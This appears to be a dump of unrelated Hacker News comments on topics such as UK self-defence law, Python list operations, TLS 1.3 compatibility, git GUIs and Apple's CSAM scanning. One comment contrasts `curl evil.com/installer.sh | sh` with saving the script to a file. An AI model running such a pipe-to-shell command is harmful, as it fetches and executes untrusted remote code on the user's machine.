skysight-inc/HackerNews huggingface dataset:
UK is far worse than that, actually:

https://twitter.com/mpsregentspark/status/974645778558980096...

https://en.wikipedia.org/wiki/Powers_of_the_police_in_Englan...

https://en.wikipedia.org/wiki/Criminal_Justice_and_Public_Or...

https://www.bbc.com/news/explainers-47475566

https://en.wikipedia.org/wiki/Anti-social_behaviour_order

As for Australian gun control, they banned all semi-autos - that's hardly within reason. But even if it were, now the goalposts are being moved, and there's talk of banning lever-action and pump-action shotguns, on the basis that they're "almost assault weapons".

If you want to see a country with reasonable gun control, take a look at Czechia:

https://en.wikipedia.org/wiki/Gun_law_in_the_Czech_Republic#...

And to be clear, the reason why I call it "reasonable" is not just because it's very liberal, but also because they don't have problems with gun violence regardless - which, IMO, shows just how much all the bans are security theater that doesn't actually address the root causes of such violence.
The greatest mangoes come from Ratnagiri in India, something difficult to import to US as well
>>> print(“Hello world”)
File "<stdin>", line 1
print(“Hello world”)
^
SyntaxError: invalid character '“' (U+201C)
>>> mylist_1 = [1, 2, 3]
>>> mylist_2 = [4, 5]
>>> print(id(mylist_1), id(mylist_2))
1614327515784 1614319969800

>>> mylist_1 = mylist_1 + mylist_2
>>> print(mylist_1)
>>> print(id(mylist_1))
[1, 2, 3, 4, 5, 4, 5]
1614319969416

Isn't there an error in the [1, 2, 3, 4, 5, 4, 5] result?
A tangentially related Dilbert series:

https://dilbert.com/series/71-Dilbert-3D-prints-a-Pointy-Hea...
As seen from the below example, += is
marginally faster than the + operator.

Marginally for a single operation. But way faster for more operations.

This needs 34s on my laptop:

l1 = [1]
l2 = [2]

for i in range(int(10e4)): l1 = l1 + l2

While this needs 0.03s:

l1 = [1]
l2 = [2]

for i in range(int(10e4)): l1 += l2
i mean, if code is law, a centralized system will have the exact same issue.
> One thing I hate is when people look at the library source code to figure this kind of thing out

In case you didn't already know: Hyrum's Law. https://www.hyrumslaw.com/ Even if the source code isn't provided and nothing is documented your users will rely on every observable nuance of your actual implementation anyway.

At Google's scale (internally, for their internal software where they could in principle fire people for doing this) this means if you change how the allocator works so that now putting ten foozles in the diddly triggers a fresh allocation instead of twenty, you blow up real production systems because although this behaviour was never documented somebody had measured, concluded ten doesn't allocate and designed their whole system around this belief and now South East Asia doesn't have working Google search with the new allocator behaviour...

In protocol design Hyrum's Law led to TLS 1.3 having to be spelled TLS 1.2 Resumption. If your client writes "Hi I want to speak TLS 1.3" the middleboxes freak out so nothing works. So instead every single TLS 1.3 connection you make is like, "Don't mind me, just a TLS 1.2 session resumption... also I know FlyCasualThisIsTLS1.3 and here is an ECDH key share for no reason" and the server goes "Yes, resuming your session, I too know FlyCasualThisIsTLS1.3 and here's another ECDH key share I'm just blurting out for no reason. Now, since we're just resuming a TLS 1.2 session everything else is encrypted" and idiot middleboxes go "Huh, TLS resumption, I never did really understand those, nothing to see here, carry on" and it works.
It worth checking numbers again. I felt that Zong has passed the Mobilink by subscriber numbers few years ago, especially with their internet offers as of late.
So we've got the best of both worlds here. If you want to go quickly, use a GUI client, but accept you may run into problems down the road. If you want to be able to leverage more power, you'll need to spend a lot more time developing expertise with the tools.

Either way, GitHub's authentication change doesn't seem to be the problem people are making it out to be.
"[Ego] super-cogito ergo sum"

"I overthink, therefore I am"

"Dubito, ergo super-cogito, ergo sum"

"I doubt, therefore I overthink, therefore I am"

paraphrasing René Descartes

https://en.wikipedia.org/wiki/Cogito,_ergo_sum
The other side of the coin though is that when you are too close to your code, you can't see some of the refactoring patterns which will simplify it. Fresh eyes bring this to the party. So as ever, a mix of approaches, competencies and knowledge give the best result.

And I disagree about this being what goes wrong with architectures. From my experience this is more to do with entropy than anything else. It takes a continual input of effort to 'tidy up' change to keep things looking neat, and this is often ignored or under-estimated until it's too late. The other reason is when the architecture isn't fit for purpose so has to be bent to fit around the problem it's being used to solve, but that's a different argument.
I think the success of the IBM PC is the perfect example why an (accidentally) open system without any single platform owner is always better for innovation than a platform that's owned by a single company.

Yes, the PC world is chaotic, messy and generally "suboptimal", but during that time in early to late 90's the PC platform simply left everything else in the dust, cheap home computers, expensive UNIX workstations (and Macs, which have been their own category basically). Of course the progress was completely unguided, and 90% of everything was crap, and of the remaining 10%, 90% were just ok, but the remaining brilliant 1% were enough for the "actual" computer revolution.

Disclaimer: am still an Amiga fanboy by heart.
When I was young I fell unconscious like four of five times and the doctors couldn't find why... If what you say is correct, it could be a possible explanation. Although I was never the very energetic running around kid due to having some complications at birth. I have learned though to notice when I'm about to go unconscious and find a chair or something so that I don't just fall on the ground and hurt myself. I once fell unconscious in a church which was fun because now I can joke that I was touched by the God.

It's quite interesting how much we still don't know, especially about ourselves.
I wouldn’t call it a racket though since it’s entirely voluntarily to use Reddit, or not use it. And there’s also the possibility to set up other competing forums, with or without ads.
I'm not talking about hospital admission, which yes, are way lower in the vaccinated.

I'm talking about those with confirmed Covid infections. It looks like the vaccination does lower the risk of infection, but it's relatively marginal. But yes, it strongly protects against serious disease.
Not to mention how this kind of stuff can be abused.
Think about the digital version of the cop that drops a small bag containing a white powder in the back of your car.
Good luck proving that it wasn't you.
> I really don't know some HN-ers manage to break Ubuntu repeatedly while it just works for non technical users, but a qualified guess is a combination of exotic hardware and tinkering (a good thing).

It's more than that IMO, it's that we don't give up.

Your average non-technical user will just deal with the camera disconnecting occasionally, maybe swear at it once in a while, or (commonly) just not even notice. If you ask them how Ubuntu is, they will say "Yeah, works fine. No viruses!"

Your average HN'er will be bothered every time it disconnects, to the point where they are recompiling a bleeding-edge kernel and breaking 10 other things, but have a working camera that never disconnects. Then we complain here about Ubuntu being broken and terrible :)

On a tangent – I think that it's kind of worrying that Canonical seems to have Ubuntu on the desktop as super-low priority – all I hear about them these days is them trying to market some kind of server product, or their various kinds of managed Kubernetes offerings, which as far as I can tell, go up to $4k/node/year on your own hardware [1] I wonder how much success they are having with this.

----------

[1] https://assets.ubuntu.com/v1/b5f9ae49-Enterprise_Kubernetes_...
I guess any IQ test for toddlers must heavily rely on extrapolation.

Extrapolation is very often a nicer word for lying.
Regulators have learned that Facebook will lie to them about their acquisitions after the Instagram, WhatsApp and Oculus deals.

Hence the stronger action against them now.
That would be good (as long as people can't actually see the CSAM, perhaps find a hash collision), but I wouldn't want to be the one who ends up in solitary for life for taking one for the team.
I have to admit that when I first heard the Jackson reference in https://youtu.be/HxaD_trXwRE?t=00m44s I thought it was about the other Jackson.
“Worlds greatest mangoes”

“Grown in Pakistan”

[citation needed] I’ll argue South Indian grown mangoes are the tastiest (also I’m South Indian). Given the fruit likely originated there (along with its name).
I think it's because most of the engineers behind the code that goes into Ubuntu are paid to work on their project for their set of users and usecases. There are very few whose remit is the whole system and overall user experience. That means the small but high impact bugs often don't get fixed. Things like the GPU drivers being uninstalled on an update (because that isn't the problem of either the apt team or the Nvidia team)
Turkey became a star of European tech
yeah, they behave like they're tired, but they have no idea what's going on and they're afraid of the feeling or just don't like how it feels but don't know what to do about it. it's like sleep is independent of their will.
Conversely, if you actually do get attacked in London, you better be real careful to not accidentally hurt your attacker:

"There are products which squirt a relatively safe, brightly coloured dye (as opposed to a pepper spray). A properly designed product of this nature, used in the way it is intended, should not be able to cause an injury. However, if injury does occur, this may be assault. ... The only fully legal self defence product at the moment is a rape alarm. "

(https://www.askthe.police.uk/content/Q589.htm)
There clearly is. Here's what I get:

>>> l1=[1,2,3]
>>> l2=[4,5]
>>> l1=l1+l2
>>> print(l1)
[1, 2, 3, 4, 5]
https://archive.is/2021.08.12-211017/https://www.ft.com/cont...
Wont we achieve herd immunity via natural infecion then? Unless the virus starts to become like flu, which evades the the natural immunty very easily.
Wow, didn't know that shortcut existed.

I can't find `.` on this page: https://docs.github.com/en/get-started/using-github/keyboard...
So you’ve built in monadic bind for the Either monad into the language:

Right x >>= f = Right (f x) -- normal case
Left y >>= f = Left y -- error propagation case

(The slogan is “monadic bind is an overload for the semicolon”.)

I don’t expect this knowledge will dramatically change what you’re doing, but now that you know that’s how some people call it you have one more place to steal ideas from :)
super important in the age of smartphone parents.
IMO algebraic data types pretty much solve everything that exceptions try to solve.

while also encoding into the type system that it can fail/what failure modes there are, while also forcing you to handle it locally.
Chatbots in healthcare are transforming the patient experience
Yes, I am well aware of what it is doing and we won't really make any progress until you can believe that I know the language. We are disagreeing about the intent and rationale of its addition.

Everytime someone tries to interact with DGETRF for the first time, they look up the API (at http://www.math.utah.edu/software/lapack/lapack-d/dgetrf.htm... maybe) and read, "The leading dimension of the array A. LDA >= max(1,M)." Which tells them nothing, so they keep digging through the documentation. Maybe they check the user's guide, https://www.netlib.org/lapack/lug/node116.html and they read "However an assumed-size array declaration has been used in the software, in order to overcome some limitations in the Fortran 77 standard." but sadly their journey is still not over because none of these source have characterized it as you are (as an array stride due to memory layout). Nor named it appropriately. They still have to keep digging to understand it as a stride.

Its name reflects the fact that it was common to oversize the allocation of the memory for the matrix and then LDA > M of course, because in fact LDA = M_MAX. The leading dimension of the matrix in memory (the stride if you were dealing with a 1-d array). If they are lucky (as I was), they will have access to some of the older software that was doing this and they can see what the purpose of the argument and the rationale of the name is. That this also enables one to focus on a sub-block of A and give a stride value. But certainly that isn't the "leading dimension of A". It is the leading dimension of A precisely when A is a bigger matrix and you are focused only on the upper block because of static allocation of A.
I think the point is that whatever document preparation system they choose to use, digital natives aren't magically proficient at it but have make an effort to learn to use it like everyone else.

I think the real takeaway from today's kids being digital natives is that you no longer have to "win them over" with bloated GUI applications that are designed to emulate old-fashioned desk work with the leaky abstractions that entails. They already take for granted that computers are the future. It's a golden opportunity to embrace higher power systems systems where the formatting is all abstracted away by standardised macros and all they're left with is a lawyering DSL.

Learning a text editor and a small DSL should even be easier than learning Word (or even LaTeX) in-and-out, and digital natives should be less biased against it than previous generations, having never done paper desk work before in their lives.
A lot of this sounds like having skills related to producing large structured documents, regardless of the technical means. Sure it requires training. You could as well let people design something in ArchiCAD.
Are there any applications which already do this?
On the other hand, all that information was available for the Amiga too (and probably also Atari), in fact it was quite normal on home computers to get the complete hardware schematics in the box, and the ROM were quickly disassembled and commented by hobbyists. The IBM PC was probably an outlier for the "business world" though.
my 2yo was dehydrated and on IV because of that, too. not uncommon for the smallest kids.
Some devices will scan for open wifi networks in the area and connect to those if you don't give them your own network. It's also entirely possible they have deals with ISPs to use the router you rent from them on a separate network (some routers in the US broadcast a 'public' paid wifi network that's separate from yours that anyone can connect to and doesn't count toward your data).
I don't think it does. I've observed it many times. The GUIs don't understand git, have shitty defaults, resulting in unnecessary conflicts and histories which are essentially unreadable (Merge branch 'master' of ... x1000). If any error pops up, it is not read (not their fault - NOBODY reads error message boxes, everyone selects the default action within a fraction of a second), if there is a conflict, they usually cannot resolve it with the GUI, or if they do their changes are lost by accident half the time. So in practice when conflicts happen the changes are copied out, the repository deleted and cloned again (because aborting the merge or resetting the branch is unknown / unsupported by the GUI / too difficult or hidden), changes are pasted back in and committed. SUCCESS!

When you use git directly, you at least get all the tools to solve your problems. When you use (most) frontends, you don't. And you learn: If there are errors, just start over - much easier!

This is not the fault of developers, it's shitty tooling + bad tutorials + bad defaults in tooling + unsuitable defaults in git (git's defaults are for the workflow used in the kernel, NOT the workflow most git users use, which is completely different; it's actually amazing that the same tool can support both workflows pretty well, with the right config settings).
latency/buffer size/stalling effects.
It's the difference between `curl evil.com/installer.sh | sh` and `curl evil.com/installer.sh | cat > installer.sh`.
There's too much mobility in the world, tourism is quite a vehicle for spread and too many countries went all in on tourism - I'm from Portugal, and clearly our government gave priority to tourism over public health, over and over again.

Not because they wanted to, but because they had to - for economical and political reasons. Just like they stripped off all measures during Christmas for political goodwill, and it caused the death of thounsands.

Very few were, and are, willing to end this pandemic.

One thing was made very clear: politicians will do anything - ANYTHING - to keep themselves in power. This pandemic turned to the worst when it became a political weapon. They placed too much hope on the vaccine, when it should have been considered one valuable tool to end this pandemic, not the final fix for it.

Only time will tell the long term effects of these decisions.
Try asking your girlfriend whether she thinks holding her hand is worthless :-) Making someone happy (-ier) is a great, canonical example of creating value.

People will tolerate surprising levels of discomfort, even financial loss, to be physically close with other people.

I'd say this basic need goes even further than humans. Certainly at least mammals, with their complex endocrinological and social systems; but possibly any organism that procreates via sex.
You can also get a "smart" TV, and use it as a dumb one - i.e. never connect it to anything, and only use its AV inputs.
Or Apple is taken over by pervs who want to be able to look at private photos to "verify" them. Once algo reaches a threshold they'll be able to see "lowres" versions.
Then stop paying for it.
Your article identifies issues with Britain's inflation basket that caused them to overestimate inflation by 0.6% a year, and you are using it as an argument that we underestimated inflation by >15%.

That is the bottom line, I'll let other readers draw their conclusions about what is reasonable.
For such a young discipline, it's amazing how much of software practice used to be standard operating procedure and is now all but forgotten.

At one time Dijkstra had to actually argue for structured programming. No-one would take the counter position today.

The equivalent debate nowadays is between languages that separate statements and expressions and expression-oriented[0] languages.

[0]: https://en.wikipedia.org/wiki/Expression-oriented_programmin...
I haven't touched MS word this millenium. I'm on Linux generating pdf via either *tex or org mode. Pretty sure I can find how to do this, but I'll be slow as hell, as I probably already have to search how to launch word to begin with ;)
I was going to comment something like "yeah, yeah, everyone's an expert, it's easy to say you can spot the CGI once you've been told it's there", but then I looked at the video and... wow, that really is a pretty weak showing!
> the CSAM mechanism as is is not all that plausible to abuse either technically or socially given how clear Apple’s promises are.

That’s the problem: Apples promise means nothing exactly because it’s so easy to abuse.

Apple says they will refuse when asked to scan for anything that is not CSAM. That’s one of those nice ‘technically true’ statements lawyers like to include.

Apple will not have to refuse anything, because they won’t be asked.

Apple doesn’t get a huge pile of CSAM images (obviously), they get a list of hashes from a 3rd party. They have no way of ensuring that these hashes are only for CSAM content. And when ‘manually’ checking, they aren’t actually looking at potential CSAM, they are checking the ‘visual derivative’ (whatever that means exactly), basically a manual check if the hashes match.

So yes, they would technically refuse if asked to scan for other material, but they will just accept any list of hashes provided to them by NCMEC (an organization created by the US government and funded by the US DoJ) no questions asked. The US government could include any hash they wish into this list without Apple ever noticing.
Whether or not the instinct manifests to some degree in everyone, it truly goes into overdrive once you become a parent. It's hard to describe in all its scope. Even a concept of a child being hurt by someone starts to become extremely disturbing.

For example, I've noticed that ever since I became a father, I can't enjoy some of the movies and shows I've liked previously, because the scenes where children are threatened or implied to be hurt become emotionally overwhelming to watch. To use a light example, take Star Trek TNG: Power Play (5x15). It was one of the episodes I always found boring, but when I got to it during the last semi-regular TNG rewatch, I had to pause it and collect myself. Almost switched it off. All because of one scene, where a mother and a child end up in the middle of a hostage situation.
if the problem is that the immune response drops too low to prevent infection then there may be no herd immunity from that either, it can just cycle around.
> "You're right. A subject being difficult to master means we should do everything we can to make it difficult to learn too."

Never before have humans experienced such an overabundance of learning materials (YouTube, blog posts, StackOverflow, books, courses, etc). So much of it easily accessible and available for free. The tooling continually improves.

What most people are missing these days is a goddamned attention span and a dash of humility.

This isn't about mastering source control systems (that can take years). This is about taking a complete newcomer with absolutely no background whatsoever from nothing to something in three hours, which is an absolute miracle in and of itself. Will you also complain about how hard it is to learn how to swim, paint, use chopsticks, change a tire or play chess?
You used to get that when searching for PDO (PHP Data Objects) documentation on Google. I think it got fixed some time in 2019 though.
Apple has no way to know what image hash has been derived from. So China can give a hash of Winnie the pooh and claim it is CSAM. Apple won't know.
NOx (and PM) is a local, temporary consequence. Catalysts exist to remove NOx out of exhaust gasses. They are perfectly serviceable.

Carbon dioxide is a permanent, global issue, where no (large-scale) capturing/cleaning methods exist.

NOx removes itself out of the atmosphere through natural means, CO2 does not.

You can close the cycle, hence 'ignore' CO2 emissions since they cancel out, and deal with NOx using today's existing technology. Same thing for PM and sulfur.
It's easy to parse and transform automatically.
> our “democratic” representatives couldn’t care less about the needs of their constituents

I'm not sure this is actually the reason in this case. If you go outside of the tech bubble, a lot of people don't understand what the fuss about CSAM is all about, and "if you're not doing anything wrong, why are you opposed to saving children?" is an oft-expressed sentiment. So, politicians support it because 1) the majority of their voters approve, and 2) not supporting it makes them vulnerable to highly effective attacks on their public image from their opponents, again, because the general public buys into those arguments.